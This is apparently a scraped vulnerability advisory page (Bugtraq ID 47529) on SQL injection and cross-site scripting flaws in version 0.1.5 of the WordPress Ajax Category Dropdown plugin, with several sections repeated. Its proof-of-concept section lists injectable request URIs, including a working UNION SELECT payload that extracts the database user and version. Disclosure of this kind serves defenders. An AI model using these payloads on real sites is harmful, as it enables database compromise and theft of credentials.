WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
BID:47529
Info
WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 47529 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 21 2011 12:00AM |
| Updated: | Apr 21 2011 12:00AM |
| Credit: | High-Tech Bridge SA |
| Vulnerable: |
Dyasonhat Ajax Category Dropdown 0.1.5 |
| Not Vulnerable: | |
Discussion
WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
Ajax Category Dropdown plugin is prone to multiple SQL-injection vulnerabilities and a cross-site scripting vulnerability.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Ajax Category Dropdown 0.1.5 is vulnerable; other versions may also be affected.
Ajax Category Dropdown plugin is prone to multiple SQL-injection vulnerabilities and a cross-site scripting vulnerability.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Ajax Category Dropdown 0.1.5 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit cross-site scripting issues, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example inputs and URIs are available:
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%2
8%29,3,4,5,6,7,8,9,version%28%29%20--%201
An attacker can exploit these issues via a browser. To exploit cross-site scripting issues, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example inputs and URIs are available:
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE
http://www.example.com/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%2
8%29,3,4,5,6,7,8,9,version%28%29%20--%201
Solution / Fix
WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities
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